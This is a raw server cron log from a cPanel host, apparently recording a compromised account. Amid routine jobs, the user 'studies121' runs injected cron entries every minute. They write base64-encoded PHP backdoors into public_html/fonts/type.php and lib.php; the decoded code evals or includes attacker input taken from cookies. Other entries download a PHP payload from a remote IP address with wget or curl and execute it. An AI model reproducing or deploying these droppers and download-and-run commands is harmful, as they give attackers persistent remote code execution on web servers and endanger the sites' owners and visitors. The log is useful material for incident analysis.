Sep 22 04:15:01 ip-184-168-122-23 CROND[12742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:15:01 ip-184-168-122-23 CROND[12743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:15:01 ip-184-168-122-23 CROND[12744]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 04:15:01 ip-184-168-122-23 CROND[12749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:15:01 ip-184-168-122-23 CROND[12750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:15:01 ip-184-168-122-23 CROND[12752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:16:01 ip-184-168-122-23 CROND[12891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:16:01 ip-184-168-122-23 CROND[12893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:16:01 ip-184-168-122-23 CROND[12892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:16:01 ip-184-168-122-23 CROND[12894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:16:01 ip-184-168-122-23 CROND[12896]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 04:16:01 ip-184-168-122-23 CROND[12895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:17:01 ip-184-168-122-23 CROND[13020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:17:01 ip-184-168-122-23 CROND[13023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:17:01 ip-184-168-122-23 CROND[13026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:17:01 ip-184-168-122-23 CROND[13027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:18:01 ip-184-168-122-23 CROND[13137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:18:01 ip-184-168-122-23 CROND[13138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:18:01 ip-184-168-122-23 CROND[13140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:18:01 ip-184-168-122-23 CROND[13142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:18:01 ip-184-168-122-23 CROND[13146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:19:01 ip-184-168-122-23 CROND[13271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:19:01 ip-184-168-122-23 CROND[13272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:19:01 ip-184-168-122-23 CROND[13274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:19:01 ip-184-168-122-23 CROND[13276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13396]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:20:01 ip-184-168-122-23 CROND[13400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:20:01 ip-184-168-122-23 CROND[13402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:20:01 ip-184-168-122-23 CROND[13407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:21:01 ip-184-168-122-23 CROND[13563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:21:01 ip-184-168-122-23 CROND[13566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:21:01 ip-184-168-122-23 CROND[13567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:21:01 ip-184-168-122-23 CROND[13565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:22:01 ip-184-168-122-23 CROND[13681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:22:01 ip-184-168-122-23 CROND[13683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:22:01 ip-184-168-122-23 CROND[13686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:22:01 ip-184-168-122-23 CROND[13685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:22:01 ip-184-168-122-23 CROND[13684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:23:01 ip-184-168-122-23 CROND[13981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:23:01 ip-184-168-122-23 CROND[13982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:23:01 ip-184-168-122-23 CROND[13985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:23:01 ip-184-168-122-23 CROND[13988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:24:01 ip-184-168-122-23 CROND[14135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:24:01 ip-184-168-122-23 CROND[14136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:24:01 ip-184-168-122-23 CROND[14137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:24:01 ip-184-168-122-23 CROND[14138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:24:01 ip-184-168-122-23 CROND[14141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:25:01 ip-184-168-122-23 CROND[14394]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:25:01 ip-184-168-122-23 CROND[14402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:26:01 ip-184-168-122-23 CROND[14541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:26:01 ip-184-168-122-23 CROND[14542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:26:01 ip-184-168-122-23 CROND[14544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:26:01 ip-184-168-122-23 CROND[14545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:26:01 ip-184-168-122-23 CROND[14546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:27:01 ip-184-168-122-23 CROND[14675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:27:01 ip-184-168-122-23 CROND[14677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:27:01 ip-184-168-122-23 CROND[14676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
